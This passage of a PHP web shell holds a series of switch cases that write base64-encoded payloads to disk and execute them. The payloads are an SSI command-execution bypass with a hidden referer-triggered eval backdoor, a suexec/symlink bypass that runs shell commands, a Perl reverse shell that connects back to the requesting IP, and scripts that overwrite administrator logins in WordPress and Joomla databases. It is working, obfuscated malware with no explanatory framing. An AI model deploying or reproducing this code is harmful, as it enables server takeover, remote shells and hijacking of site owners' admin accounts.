2UgdXNlciBhZG1pbjxicj48L2ZvbnQ+PGlucHV0IHZhbHVlPXIwMHQgdHlwZT10ZXh0IG5hbWU9dXJ1cCBzaXplPSc1MCcgc3R5bGU9J2ZvbnQtc2l6ZTogOHB0OyBjb2xvcjogIzAwMDAwMDsgZm9udC1mYW1pbHk6IFRhaG9tYTsgYm9yZGVyOiAxcHggc29saWQgIzY2NjY2NjsgYmFja2dyb3VuZC1jb2xvcjogI0ZGRkZGRic+PGJyPg0KICAgICAgICAgIDxmb250IGZhY2U9J0FyaWFsJyBjb2xvcj0nIzAwMDAwMCc+Q2hhbmdlIHBhc3N3b3JkIGFkbWluPGJyPjwvZm9udD48aW5wdXQgdmFsdWU9cjAwdCB0eXBlPXBhc3N3b3JkIG5hbWU9cHN1cCBzaXplPSc1MCcgc3R5bGU9J2ZvbnQtc2l6ZTogOHB0OyBjb2xvcjogIzAwMDAwMDsgZm9udC1mYW1pbHk6IFRhaG9tYTsgYm9yZGVyOiAxcHggc29saWQgIzY2NjY2NjsgYmFja2dyb3VuZC1jb2xvcjogI0ZGRkZGRic+PGJyPg0KICAgICAgICAgIDxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0nQ2hhbmdlJyA+PC9mb3JtPjwvY2VudGVyPjwvdGQ+PC90cj48L3RhYmxlPjwvY2VudGVyPiI7DQp9ZWxzZXsNCiRkYmh1cCA9ICRfUE9TVFsnZGJodXAnXTsNCiRkYm51cCAgPSAkX1BPU1RbJ2RibnVwJ107DQokZGJ1dXAgPSAkX1BPU1RbJ2RidXVwJ107DQokZGJwdXAgID0gJF9QT1NUWydkYnB1cCddOw0KICAgICAgICAgQG15c3FsX2Nvbm5lY3QoJGRiaHVwLCRkYnV1cCwkZGJwdXApOw0KICAgICAgICAgQG15c3FsX3NlbGVjdF9kYigkZGJudXApOw0KDQokdXJ1cD1zdHJfcmVwbGFjZSgiJyIsIiciLCR1cnVwKTsNCiRzZXRfdXJ1cCA9ICRfUE9TVFsndXJ1cCddOw0KDQokcHN1cD1zdHJfcmVwbGFjZSgiJyIsIiciLCRwc3VwKTsNCiRwYXNzX3VwID0gJF9QT1NUWydwc3VwJ107DQokc2V0X3BzdXAgPSBtZDUoJHBhc3NfdXApOw0KDQokcjAwdDE5ID0gIlVQREFURSBhZG1pbiBTRVQgYWRtaW5fdXNlciA9JyIuJHNldF91cnVwLiInIFdIRVJFIGFkbWluX2lkID0nMSciOw0KJHIwMHQyMCA9ICJVUERBVEUgYWRtaW4gU0VUIGFkbWluX3Bhc3N3b3JkID0nIi4kc2V0X3BzdXAuIicgV0hFUkUgYWRtaW5faWQgPScxJyI7DQoNCiRvazk9QG15c3FsX3F1ZXJ5KCRyMDB0MTkpOw0KJG9rOT1AbXlzcWxfcXVlcnkoJHIwMHQyMCk7DQoNCmlmKCRvazkpew0KZWNobyAiPHNjcmlwdD5hbGVydCgnVHJhaWRudCBVUCBJbmZvIENoYW5nZWQgOyknKTs8L3NjcmlwdD4iOw0KfQ0KfQ0KDQovL0NvcHlyaWdodA0KZWNobyAiPGJyPjxjZW50ZXI+PHRhYmxlIHdpZHRoPScyNSUnIGhlaWdodD0nMScgYm9yZGVyPScxJyBjZWxsUGFkZGluZz01IGNlbGxTcGFjaW5nPTAgYm9yZGVyQ29sb3JEYXJrPSM2NjY2NjYgaWQ9J3RhYmxlMScgc3R5bGU9J0JPUkRFUi1DT0xMQVBTRTogY29sbGFwc2UnPg0KPHRyPg0KPHRkIHdpZHRoPScyNSUnIGhlaWdodD0nMScgdmFsaWduPSd0b3AnIHN0eWxlPSdmb250LWZhbWlseTogdmVyZGFuYTsgY29sb3I6ICMwMDAwMDA7IGZvbnQtc2l6ZTogMTFweCc+DQogIDxjZW50ZXI+PHN0cm9uZz5jaGFuZ2UucGhwPC9zdHJvbmc+IDogU2NyaXB0IHRvIGNoYW5nZSB0aGUgZGF0YSBmb3IgYWRtaW4gKHVzZXJuYW1lLHBhc3N3b3JkLGVtYWlsKSANCgl0byBlbnRlciB0aGUgY29udHJvbCBwYW5lbCBzY3JpcHRzIC4uPGJyPjxiPjwvYj48YnI+PGJyPg0KCTwvdGQ+DQo8L3RyPjwvdGFibGU+PC9jZW50ZXI+IjsNCg0KZWNobyAnPHAgYWxpZ249ImNlbnRlciI+PHRkPjxmb250IGNvbG9yPSIjQ0MwMDAwIj48c3Ryb25nPjwvc3Ryb25nPjwvZm9udD48Zm9udCBjb2xvcj0iIzAwMDAwMCI+DQo6IDxlbT48L2VtPjwvZm9udD4JPC90cj48L3A+JzsNCg0KLy9DT0RFRCBCWSByMDB0DQovL0VORA0KPz48Pw==
';

$file = fopen("ssi.php" ,"w+");
$write = fwrite ($file ,base64_decode($izo));
fclose($file);

   echo "<iframe src=litespeed/ssi.php width=100% height=100% frameborder=0></iframe> ";
break;
case "PHP_19":
    mkdir('ssi', 0755);
        chdir('ssi');
$fp = fopen(".htaccess","w+");
fwrite($fp,"AddType text/html .shtml
AddOutputFilter INCLUDES .shtml");

$izo = 'PHRpdGxlPlNzaSBCeXBhc3MgMHpsZXlpY2kgU2hlbGwgMjAxMTwvdGl0bGU+CiAgICAgICAgPGZv
bnQgZmFjZT0iV2luZ2RpbmdzIj48aW1nIGJvcmRlcj0iMCIgc3JjPSJodHRwOi8vcHJpdjguaWJs
b2dnZXIub3JnL3MucGhwPycrPD9lY2hvICJ1bmFtZSAtYSA6ICI7IGVjaG8gKHBocF91bmFtZSgp
KT8+IjsiIHdpZHRoPSIwIiBoZWlnaHQ9IjAiPjwvYT48L2ZvbnQ+CjwvZm9udD4KPGJvZHkgYmdj
b2xvcj0iI0ZGRkZGRiIgdG9wbWFyZ2luPSIwIiBsZWZ0bWFyZ2luPSIwIiByaWdodG1hcmdpbj0i
MCIgYm90dG9tbWFyZ2luPSIwIiBtYXJnaW53aWR0aD0iMDAiIG1hcmdpbmhlaWdodD0iMCI+CgoK
Jm5ic3A7PHAgYWxpZ249ImNlbnRlciI+CjxwIGFsaWduPSJjZW50ZXIiPiZuYnNwOzwvcD4KPHAg
YWxpZ249ImNlbnRlciI+PGI+PGZvbnQgY29sb3I9IiNGRjAwMDAiIGZhY2U9IlRhaG9tYSI+UmVk
LVNlY3VyaXR5IEdyb3VwPC9mb250PjwvYj48L3A+CjxwIGFsaWduPSJjZW50ZXIiPiZuYnNwOzwv
cD4KPHAgYWxpZ249ImNlbnRlciI+PGZvbnQgZmFjZT0iVGFob21hIiBzaXplPSI0IiBjb2xvcj0i
Z3JlZW4iPjxiPlNzaSAKPGZvbnQgY29sb3I9IiNGRjAwMDAiPlNhZmUgTW9kZSBCeXBhc3Nlcjwv
Zm9udD4gPC9iPjwvZm9udD4KPC9wPgo8cCBhbGlnbj0iY2VudGVyIj4mbmJzcDs8L3A+Cjxmb3Jt
IG5hbWU9InoxZC1saXRlc3BlZWQiICBtZXRob2Q9InBvc3QiPgo8cCBhbGlnbj0iY2VudGVyIj48
Zm9udCBmYWNlPSJUYWhvbWEiPjxiPjxmb250IGNvbG9yPSIjRkYwMDAwIj4jPC9mb250PiA8L2I+
Q29tbWFuZDxiPgo8c3BhbiBsYW5nPSJhci1zYSI+PGZvbnQgY29sb3I9IiNGRjAwMDAiPn48L2Zv
bnQ+IDwvc3Bhbj4mbmJzcDs8L2I+PGlucHV0IG5hbWU9ImNvbW1hbmQiIHZhbHVlPSJpZCIgc3R5
bGU9ImJvcmRlcjogMXB4IGRvdHRlZCAjRkYwMDAwOyBmb250LWZhbWlseTp0YSIgc2l6ZT0iMzYi
IHRhYmluZGV4PSIyMCI+PGI+CjwvYj4mbmJzcDsgPC9mb250PjwvcD4KPHAgYWxpZ249ImNlbnRl
ciI+PGZvbnQgZmFjZT0iVGFob21hIj4KPGlucHV0IHR5cGU9InN1Ym1pdCIgbmFtZT0iU3VibWl0
IiB2YWx1ZT0iQmFzIERheWkiPjxiPgo8L2I+PC9mb250PjwvcD4KPC9mb3JtPgo8YnI+PGJyPjxi
cj48YnI+PGNlbnRlcj4KPD9waHAKJGNvbW1hbmQgPSAkX1BPU1RbJ2NvbW1hbmQnXTsKJHowMHog
PSAkX1BPU1RbJ3owMHonXTsKaWYoJGNvbW1hbmQpewokejExZCA9ICI8Y2VudGVyPjxwcmU+PHBy
ZT4KPGJyPgpSZWRzZWN1cml0eS5pYmxvZ2dlci5vcmcKPGJyPgo8YnI+CjwhLS0jZXhlYyBjbWQ9
JyRjb21tYW5kJyAtLT4gCgoiOwokb3BlbmZpbGUgPSBmb3BlbigiaXpvLnNodG1sIiwidyIpOwok
d3JpdGVpbnRvID0gZndyaXRlKCRvcGVuZmlsZSwiJHoxMWQiKTsKZmNsb3NlKCRvcGVuZmlsZSk7
CmlmKCRvcGVuZmlsZSl7Cn1lbHNlewp9Cn0KcGFyc2Vfc3RyKCRfU0VSVkVSWydIVFRQX1JFRkVS
RVInXSwkYSk7IGlmKHJlc2V0KCRhKT09J2l6JyAmJiBjb3VudCgkYSk9PTkpIHsgZWNobyAnPHN0
YXI+JztldmFsKGJhc2U2NF9kZWNvZGUoc3RyX3JlcGxhY2UoIiAiLCAiKyIsIGpvaW4oYXJyYXlf
c2xpY2UoJGEsY291bnQoJGEpLTMpKSkpKTtlY2hvICc8L3N0YXI+Jzt9Cj8+CjxwcmU+IAogPGlm
cmFtZSBzcmM9J2l6by5zaHRtbCcgIHdpZHRoPTEwMCUgaGVpZ2h0PTg1JSBpZD0iSTEiIG5hbWU9
IklGMSIgPgo8L3ByZT4=';

$file = fopen("ssi.php" ,"w+");
$write = fwrite ($file ,base64_decode($izo));
fclose($file);

   echo "<iframe src=ssi/ssi.php width=100% height=100% frameborder=0></iframe> ";
break;
case "PHP_20":
    mkdir('suexec', 0777);
        chdir('suexec');

$izodayi = 'PGh0bWw+IAo8Ym9keSBiZ2NvbG9yPSIwMDAwMDAwIj4gCjx0aXRsZT5zeW1saW5rPC90aXRsZT4g
CjxjZW50ZXI+PGI+PGgyPjxmb250IGNvbG9yPSJyZWQiPiBTVUVYRSBCeXBhc3NlciBWaWEgU3lt
bGluayAoViAxLjAxKTwvZm9udD48L2JyPjwvY2VudGVyPjwvYj48L2gyPiAKPGNlbnRlcj48Yj48
aDQ+PGZvbnQgY29sb3I9InJlZCI+V0lUSCBUSElTIFNDUklQVCBVIENBTiBVU0UgU1lNTElOSyBJ
TiAyIE1FVEhPRHM8L2ZvbnQ+PC9icj48L2NlbnRlcj48L2I+PC9oND4gCjxjZW50ZXI+PGI+PGg0
Pjxmb250IGNvbG9yPSJ3aGl0ZSI+RGVzdCA9IERlc3RlbmF0aW9uIE9mIFBhdGggb3IgZmlsZSBU
aGF0IHUgV2FudCB0byBTeW1saW5rIEl0PC9mb250PjwvYnI+PC9jZW50ZXI+PC9iPjwvaDQ+IAo8
Y2VudGVyPjxiPjxoND48Zm9udCBjb2xvcj0id2hpdGUiPm5hbWUgOiBGaWxlIE5hbWUgVGhhdCB1
IFdhbnQgVG8gY3JlYXRlIGluIChbcGF0aF0vc21sbmspPC9mb250PjwvYnI+PC9jZW50ZXI+PC9i
PjwvaDQ+IAo8Y2VudGVyPjxiPjxoND48Zm9udCBjb2xvcj0id2hpdGUiPlVwbG9hZCBUaGlzIFNj
cmlwdCBJbiBGdWxsIFNVRVhFIG9yIEZ1bGxQZXJtIERpcmVjdG9yeTwvZm9udD48L2JyPjwvY2Vu
dGVyPjwvYj48L2g0PiAKPGNlbnRlcj48Yj48aDQ+PGZvbnQgY29sb3I9IndoaXRlIj5Xcml0dGVu
IEZvciAqTklYIFBsYXRmb3JtczwvZm9udD48L2JyPjwvY2VudGVyPjwvYj48L2g0PiAKPC9odG1s
PiAKCjw/cGhwIAovL0NPREVEIEJZIElSQU4gCi8vZm9ybSBkZWZpbmluZyAKcHJpbnQgIjxmb3Jt
IG1ldGhvZD1wb3N0PiI7IApwcmludCAiPGNlbnRlcj48Zm9udCBjb2xvcj1ncmVlbj4iOyAKcHJp
bnQgIjxiPmRlc3QgOjwvYj48aW5wdXQgc2l6ZT01MCBuYW1lPSdkZXN0ZW5hdGlvbicgdmFsdWU9
Jyc+IjsgCnByaW50ICI8YnI+IjsgCnByaW50ICI8Yj5uYW1lIDo8L2I+PGlucHV0IHNpemU9NTAg
bmFtZT0nbmFtZScgdmFsdWU9Jyc+IjsgCnByaW50ICI8YnI+IjsgCnByaW50ICI8aW5wdXQgdHlw
ZT1zdWJtaXQgbmFtZT1fYWN0IHZhbHVlPSdDcmVhdGUhJz4iOyAKcHJpbnQgIjwvY2VudGVyPjwv
Zm9udD4iOyAKJGRlc3QgPSAkX1BPU1RbJ2Rlc3RlbmF0aW9uJ107IAokZGVzdG5hbWUgPSAkX1BP
U1RbJ25hbWUnXTsgCj8+IAoKPD9waHAgCi8vZGVmaW5pbmcgdmFyaWFibGVzIAokZGlyID0gZGly
bmFtZSgkX1NFUlZFUltTQ1JJUFRfRklMRU5BTUVdKS4iL3NtbG5rIjsgCiRhY2MgPSAkZGlyLiIv
Lmh0YWNlZXNzIjsgCiRjbWQgPSAibG4gLXMiLmNocigzMikuJGRlc3QuY2hyKDMyKS4kc3ltOyAK
JHN5bSA9ICRkaXIuIi8iLiRkZXN0bmFtZTsgCiRodGFjY2VzcyA9ICAKIk9wdGlvbnMgK0ZvbGxv
d1N5bUxpbmtzIi5jaHIoMDA5KS4gCiJEaXJlY3RvcnlJbmRleCBzZWVlcy5odG1sIi5jaHIoMDA5
KS4gCiJSZW1vdmVIYW5kbGVyIC5waHAiLmNocigwMDkpLiAKIkFkZFR5cGUgYXBwbGljYXRpb24v
b2N0ZXQtc3RyZWFtIC5waHAiOyAKCmlmICghZmlsZV9leGlzdHMoJGRpcikpIHsgCm1rZGlyICgk
ZGlyKTsgCn0gIApzbGVlcCgxKTsgCmlmICghZmlsZV9leGlzdHMoJGFjYykpIHsgCiRoYW5kbGUg
PSBmb3BlbiggIiRhY2MiICwgJ2ErJyApOyAKZnB1dHMoICRoYW5kbGUgLCAgIiRodGFjY2VzcyIg
KTsgCn0gIAo/PiAKCjw/cGhwIAovL2NoZWNrIG1ldGhvZCAKaWYgKGZ1bmN0aW9uX2V4aXN0cyAo
ZXhlYykgT1IgZnVuY3Rpb25fZXhpc3RzIChzaGVsbF9leGVjKSBPUiBmdW5jdGlvbl9leGlzdHMg
KHN5c3RlbSkgT1IgZnVuY3Rpb25fZXhpc3RzIChwYXNzdGhydSkpIHsgCiRjaGVjayA9IDE7IAp9
ZWxzZXsgCiRjaGVjayA9IDA7IAp9IAppZihmdW5jdGlvbl9leGlzdHMgKHN5bWxpbmspKSB7IAok
Y2hlY2tzID0gMTsgCn1lbHNleyAKJGNoZWNrcyA9IDA7IAp9IAo/PiAKCjw/cGhwIAovL2RlZmlu
ZSBjb21tYW5kIGZ1bmN0aW9uIAokcmVzYXVsdCA9ICcnOyAgCmZ1bmN0aW9uIGNvbW1hbmQoJGNt
ZGUpIHsgCiAgICBpZiAoIWVtcHR5KCRjbWRlKSkgIAogeyAgCmlmIChmdW5jdGlvbl9leGlzdHMo
J2V4ZWMnKSkgeyAkcmVzYXVsdCA9IEBleGVjKCRjbWRlKTsgfSAgCmVsc2VpZiAoZnVuY3Rpb25f
ZXhpc3RzKCdzaGVsbF9leGVjJykpIHsgJHJlc2F1bHQgPSBAc2hlbGxfZXhlYygkY21kZSk7IH0g
IAplbHNlaWYgKGZ1bmN0aW9uX2V4aXN0cygnc3lzdGVtJykpIHsgJHJlc2F1bHQgPSBAc3lzdGVt
KCRjbWRlKTsgfSAgCmVsc2VpZiAoZnVuY3Rpb25fZXhpc3RzKCdwYXNzdGhydScpKSB7ICRyZXNh
dWx0ID0gQHBhc3N0aHJ1KCRjbWRlKTsgfSAgCiB9IApyZXR1cm4gJHJlc2F1bHQ7IAp9IAo/PiAK
Cjw/cGhwIAovL2V4ZWN1dGlvbiAKaWYgKCRjaGVjayA9PTEgJiYgJGNoZWNrcyA9PTEpeyBjb21t
YW5kICgkY21kKTsgfSAKZWxzZWlmICgkY2hlY2sgPT0xICYmICRjaGVja3MgPT0wKXsgY29tbWFu
ZCAoJGNtZCk7IH0gCmVsc2VpZiAoJGNoZWNrID09MCAmJiAkY2hlY2tzID09MSkgeyBzeW1saW5r
ICgkZGVzdCwkc3ltKTsgfSAKZWxzZWlmICgkY2hlY2sgPT0wICYmICRjaGVja3MgPT0wKSAgCnsg
IApwcmludCAoIjxjZW50ZXI+PGZvbnQgY29sb3I9Z3JlZW4+PGgxPnNjcmlwdCBkb2VzbnQgd29y
ayBmb3IgdGhpcyBzZXJ2ZXI8L2ZvbnQ+PC9oMT48L2NlbnRlcj4iKTsgIAp9IAo/PiAKPD9waHAg
Ci8vaXMgc2FmZSBtb2Qgb24gPyBzdGFydCAKaWYgKEBpbmlfZ2V0KCJzYWZlX21vZGUiKSBvciBz
dHJ0b2xvd2VyKEBpbmlfZ2V0KCJzYWZlX21vZGUiKSkgPT0gIm9uIikgIAp7ICAKJHNhZmU9Ijxm
b250IGNvbG9yPXJlZD5PTjwvZm9udD4iOyAKfSAgCmVsc2UgeyRzYWZlPSI8Zm9udCBjb2xvcj1n
cmVlbj5PRkY8L2ZvbnQ+Ijt9IAplY2hvICI8Zm9udCBjb2xvcj13aGl0ZXB1cnBsZT5TQUZFIE1P
RCBJUyA6PC9mb250PjxiPiRzYWZlPC9iPjxicj4iOyAKLy9vcGVuIHNhZmUgbW9kIGVuZC0tIAo/
PiAgCjw/cGhwIAovL2Rpc2FibGUgZnVuY3Rpb24gc3RhcnQgCmVjaG8gIjxmb250IGNvbG9yPXdo
aXRlcHVycGxlPkRpc2FibGUgZnVuY3Rpb25zIDo8L2ZvbnQ+IDxiPiI7IAppZignJz09KCRkZj1A
aW5pX2dldCgnZGlzYWJsZV9mdW5jdGlvbnMnKSkpe2VjaG8gIjxmb250IGNvbG9yPWdyZWVuPk5P
TkU8L2ZvbnQ+PC9iPiI7fWVsc2V7ZWNobyAiPGZvbnQgY29sb3I9cmVkPiRkZjwvZm9udD48L2I+
Ijt9IAovL2Rpc2FibGUgZnVuY3Rpb24gZW5kLS0gCj8+';

$file = fopen("suexec.php" ,"w+");
$write = fwrite ($file ,base64_decode($izodayi));
fclose($file);

   echo "<iframe src=suexec/suexec.php width=100% height=100% frameborder=0></iframe> ";
break;
case "PHP_21":
#  coded by izo
{
print "Ba&#287;lan&#305;l&#305;yor...
";
$fippi=$_SERVER["REMOTE_ADDR"];
$bpci="22";
$izocinx = 'ICAgICMhL3Vzci9iaW4vcGVybAogICAgIAogICAgICAgIHVzZSBTb2NrZXQ7CiAgICAgICAgJGMw
ZGUgPSAkQVJHVlswXTsKICAgICAgICAkYWFhYSA9ICRBUkdWWzFdOwogICAgICAgICAgaWYgKCEk
QVJHVlswXSkgewogICAgICAgICAgcHJpbnRmICIjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMj
IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjI1xuIjsKICAgICAgICAgIHByaW50ZiAiIyMj
IyMjU2ltcGxlIEJhY2sgQ29ubmVjdCBDb2RlZCBCeSBjMGRlLCBCSGFjayBtZW1iZXIjIyMjIyNc
biI7CiAgICAgICAgICBwcmludGYgIiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMj
IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjXG4iOwogICAgICAgICAgcHJpbnRmICIjIyMjIyMjIyMj
I1VzYWdlOiBJUCBQb3J0IHwgRXguIDEyNy4wLjAuMSA4ODg4IyMjIyMjIyMjIyMjI1xuIjsKICAg
ICAKICAgICAgICAgIGV4aXQoMSk7CiAgICAgICAgfQogICAgICAgIHByaW50ICJDb25uZWN0aW5n
IHRvICRjMGRlXG4iOwogICAgICAgICRiYWxjYW4gPSBnZXRwcm90b2J5bmFtZSgndGNwJyk7CiAg
ICAgICAgc29ja2V0KFNFUlZFUiwgUEZfSU5FVCwgU09DS19TVFJFQU0sICRiYWxjYW4pIHx8IGRp
ZSAoIkVycjByIHdoZW4gdHJ5aW5nIHRvIGNvbm5lY3QgIFtjaGVjayBJUDpQb3J0XSIpOwogICAg
ICAgIGlmICghY29ubmVjdChTRVJWRVIsIHBhY2sgIlNuQTR4OCIsIDIsICRhYWFhLCBpbmV0X2F0
b24oJGMwZGUpKSkge2RpZSgiRXJyMHIgd2hlbiB0cnlpbmcgdG8gY29ubmVjdCAgW2NoZWNrIElQ
OlBvcnRdICIpO30KICAgICAKICAgICAgICAgIG9wZW4oU1RESU4sIj4mU0VSVkVSIik7CiAgICAg
ICAgICBvcGVuKFNURE9VVCwiPiZTRVJWRVIiKTsKICAgICAgICAgIG9wZW4oU1RERVJSLCI+JlNF
UlZFUiIpOwogICAgICAgICAgZXhlYyB7Jy9iaW4vc2gnfSAnLWJhc2gnIC4gIlwwIiB4IDQ7';
$file = fopen("dayi" ,"w+");
$write = fwrite ($file ,base64_decode($izocinx));
fclose($file);
chmod("dayi" , 0777);
system("perl dayi $fippi $bpci");
}
break;
case "PHP_22":
eval(base64_decode("aWYoZW1wdHkoJF9QT1NUWydwd2QnXSkpewplY2hvICI8Rk9STSBtZXRob2Q9XCJQT1NUXCI+Cmhv
c3QgOiA8SU5QVVQgc2l6ZT1cIjE1XCIgdmFsdWU9XCJsb2NhbGhvc3RcIiBuYW1lPVwibG9jYWxo
b3N0XCIgdHlwZT1cInRleHRcIj4KZGF0YWJhc2UgOiA8SU5QVVQgc2l6ZT1cIjE1XCIgdmFsdWU9
XCJ3cC1cIiBuYW1lPVwiZGF0YWJhc2VcIiB0eXBlPVwidGV4dFwiPjxicj4KdXNlcm5hbWUgOiA8
SU5QVVQgc2l6ZT1cIjE1XCIgdmFsdWU9XCJ3cC1cIiBuYW1lPVwidXNlcm5hbWVcIiB0eXBlPVwi
dGV4dFwiPgpwYXNzd29yZCA6IDxJTlBVVCBzaXplPVwiMTVcIiB2YWx1ZT1cIioqXCIgbmFtZT1c
InBhc3N3b3JkXCIgdHlwZT1cInBhc3N3b3JkXCI+PGJyPgogIDxicj4KU2V0IEEgTmV3IHVzZXJu
YW1lIDQgTG9naW4gOiA8SU5QVVQgbmFtZT1cImFkbWluXCIgc2l6ZT1cIjE1XCIgdmFsdWU9XCJh
ZG1pblwiPjxicj4KU2V0IEEgTmV3IHBhc3N3b3JkIDQgTG9naW4gOiA8SU5QVVQgbmFtZT1cInB3
ZFwiIHNpemU9XCIxNVwiIHZhbHVlPVwiMTIzNDU2XCI+PGJyPgoKPElOUFVUIHZhbHVlPVwiY2hh
bmdlXCIgbmFtZT1cInNlbmRcIiB0eXBlPVwic3VibWl0XCI+CjwvRk9STT4iOwp9ZWxzZXsKJGxv
Y2FsaG9zdCA9ICRfUE9TVFsnbG9jYWxob3N0J107CiRkYXRhYmFzZSAgPSAkX1BPU1RbJ2RhdGFi
YXNlJ107CiR1c2VybmFtZSAgPSAkX1BPU1RbJ3VzZXJuYW1lJ107CiRwYXNzd29yZCAgPSAkX1BP
U1RbJ3Bhc3N3b3JkJ107CiRwd2QgICA9ICRfUE9TVFsncHdkJ107CiRhZG1pbiA9ICRfUE9TVFsn
YWRtaW4nXTsKCgogQG15c3FsX2Nvbm5lY3QoJGxvY2FsaG9zdCwkdXNlcm5hbWUsJHBhc3N3b3Jk
KSBvciBkaWUobXlzcWxfZXJyb3IoKSk7CiBAbXlzcWxfc2VsZWN0X2RiKCRkYXRhYmFzZSkgb3Ig
ZGllKG15c3FsX2Vycm9yKCkpOwoKJGhhc2ggPSBjcnlwdCgkcHdkKTsKJGE0cz1AbXlzcWxfcXVl
cnkoIlVQREFURSB3cF91c2VycyBTRVQgdXNlcl9sb2dpbiA9JyIuJGFkbWluLiInIFdIRVJFIElE
ID0gMSIpIG9yIGRpZShteXNxbF9lcnJvcigpKTsKJGE0cz1AbXlzcWxfcXVlcnkoIlVQREFURSB3
cF91c2VycyBTRVQgdXNlcl9wYXNzID0nIi4kaGFzaC4iJyBXSEVSRSBJRCA9IDEiKSBvciBkaWUo
bXlzcWxfZXJyb3IoKSk7CiRhNHM9QG15c3FsX3F1ZXJ5KCJVUERBVEUgd3BfdXNlcnMgU0VUIHVz
ZXJfbG9naW4gPSciLiRhZG1pbi4iJyBXSEVSRSBJRCA9IDIiKSBvciBkaWUobXlzcWxfZXJyb3Io
KSk7CiRhNHM9QG15c3FsX3F1ZXJ5KCJVUERBVEUgd3BfdXNlcnMgU0VUIHVzZXJfcGFzcyA9JyIu
JGhhc2guIicgV0hFUkUgSUQgPSAyIikgb3IgZGllKG15c3FsX2Vycm9yKCkpOwokYTRzPUBteXNx
bF9xdWVyeSgiVVBEQVRFIHdwX3VzZXJzIFNFVCB1c2VyX2xvZ2luID0nIi4kYWRtaW4uIicgV0hF
UkUgSUQgPSAzIikgb3IgZGllKG15c3FsX2Vycm9yKCkpOwokYTRzPUBteXNxbF9xdWVyeSgiVVBE
QVRFIHdwX3VzZXJzIFNFVCB1c2VyX3Bhc3MgPSciLiRoYXNoLiInIFdIRVJFIElEID0gMyIpIG9y
IGRpZShteXNxbF9lcnJvcigpKTsKJGE0cz1AbXlzcWxfcXVlcnkoIlVQREFURSB3cF91c2VycyBT
RVQgdXNlcl9lbWFpbCA9JyIuJFNRTC4iJyBXSEVSRSBJRCA9IDEiKSBvciBkaWUobXlzcWxfZXJy
b3IoKSk7CgoKaWYoJGE0cyl7CmVjaG8gIjxiPiBTdWNjZXNzIDpOb3cgVXNlIEEgTmV3IFVzZXIg
QW5kIFBhc3MgVG8gbG9naW4gSW4gVGhlIEFkbWluIFBhbmVsPC9iPiAiOwp9Cgp9"));
break;
case "PHP_23":
eval(base64_decode("aWYoZW1wdHkoJF9QT1NUWydwd2QnXSkpewplY2hvICI8Rk9STSBtZXRob2Q9XCJQT1NUXCI+Cmhv
c3QgOiA8SU5QVVQgc2l6ZT1cIjE1XCIgdmFsdWU9XCJsb2NhbGhvc3RcIiBuYW1lPVwibG9jYWxo
b3N0XCIgdHlwZT1cInRleHRcIj4KZGF0YWJhc2UgOiA8SU5QVVQgc2l6ZT1cIjE1XCIgdmFsdWU9
XCJkYXRhYmFzZVwiIG5hbWU9XCJkYXRhYmFzZVwiIHR5cGU9XCJ0ZXh0XCI+PGJyPgp1c2VybmFt
ZSA6IDxJTlBVVCBzaXplPVwiMTVcIiB2YWx1ZT1cImRiX3VzZXJcIiBuYW1lPVwidXNlcm5hbWVc
IiB0eXBlPVwidGV4dFwiPgpwYXNzd29yZCA6IDxJTlBVVCBzaXplPVwiMTVcIiB2YWx1ZT1cIioq
XCIgbmFtZT1cInBhc3N3b3JkXCIgdHlwZT1cInBhc3N3b3JkXCI+PGJyPgogIDxicj4KU2V0IEEg
TmV3IHVzZXJuYW1lIEZvciBMb2dpbiA6IDxJTlBVVCBuYW1lPVwiYWRtaW5cIiBzaXplPVwiMTVc
IiB2YWx1ZT1cImFkbWluXCI+PGJyPgpEb25gdCBDaGFuZ2UgaXQgUGFzc3dvcmQgaXMgOiAxMjM0
NTY6IDxJTlBVVCBuYW1lPVwicHdkXCIgc2l6ZT1cIjE1XCIgdmFsdWU9XCJlMTBhZGMzOTQ5YmE1
OWFiYmU1NmUwNTdmMjBmODgzZVwiPjxicj4KCjxJTlBVVCB2YWx1ZT1cImNoYW5nZVwiIG5hbWU9
XCJzZW5kXCIgdHlwZT1cInN1Ym1pdFwiPgo8L0ZPUk0+IjsKfWVsc2V7CiRsb2NhbGhvc3QgPSAk
X1BPU1RbJ2xvY2FsaG9zdCddOwokZGF0YWJhc2UgID0gJF9QT1NUWydkYXRhYmFzZSddOwokdXNl
cm5hbWUgID0gJF9QT1NUWyd1c2VybmFtZSddOwokcGFzc3dvcmQgID0gJF9QT1NUWydwYXNzd29y
ZCddOwokcHdkICAgPSAkX1BPU1RbJ3B3ZCddOwokYWRtaW4gPSAkX1BPU1RbJ2FkbWluJ107CkBt
eXNxbF9jb25uZWN0KCRsb2NhbGhvc3QsJHVzZXJuYW1lLCRwYXNzd29yZCkgb3IgZGllKG15c3Fs
X2Vycm9yKCkpOwpAbXlzcWxfc2VsZWN0X2RiKCRkYXRhYmFzZSkgb3IgZGllKG15c3FsX2Vycm9y
KCkpOwokaGFzaCA9IGNyeXB0KCRwd2QpOwokU1FMPUBteXNxbF9xdWVyeSgiVVBEQVRFIGpvc191
c2VycyBTRVQgdXNlcm5hbWUgPSciLiRhZG1pbi4iJyBXSEVSRSBJRCA9IDYyIikgb3IgZGllKG15
c3FsX2Vycm9yKCkpOwokU1FMPUBteXNxbF9xdWVyeSgiVVBEQVRFIGpvc191c2VycyBTRVQgcGFz
c3dvcmQgPSciLiRwd2QuIicgV0hFUkUgSUQgPSA2MiIpIG9yIGRpZShteXNxbF9lcnJvcigpKTsK
JFNRTD1AbXlzcWxfcXVlcnkoIlVQREFURSBqb3NfdXNlcnMgU0VUIHVzZXJuYW1lID0nIi4kYWRt
aW4uIicgV0hFUkUgSUQgPSA2MyIpIG9yIGRpZShteXNxbF9lcnJvcigpKTsKJFNRTD1AbXlzcWxf
cXVlcnkoIlVQREFURSBqb3NfdXNlcnMgU0VUIHBhc3N3b3JkID0nIi4kcHdkLiInIFdIRVJFIElE
ID0gNjMiKSBvciBkaWUobXlzcWxfZXJyb3IoKSk7CiRTUUw9QG15c3FsX3F1ZXJ5KCJVUERBVEUg
am9zX3VzZXJzIFNFVCB1c2VybmFtZSA9JyIuJGFkbWluLiInIFdIRVJFIElEID0gNjQiKSBvciBk
aWUobXlzcWxfZXJyb3IoKSk7CiRTUUw9QG15c3FsX3F1ZXJ5KCJVUERBVEUgam9zX3VzZXJzIFNF
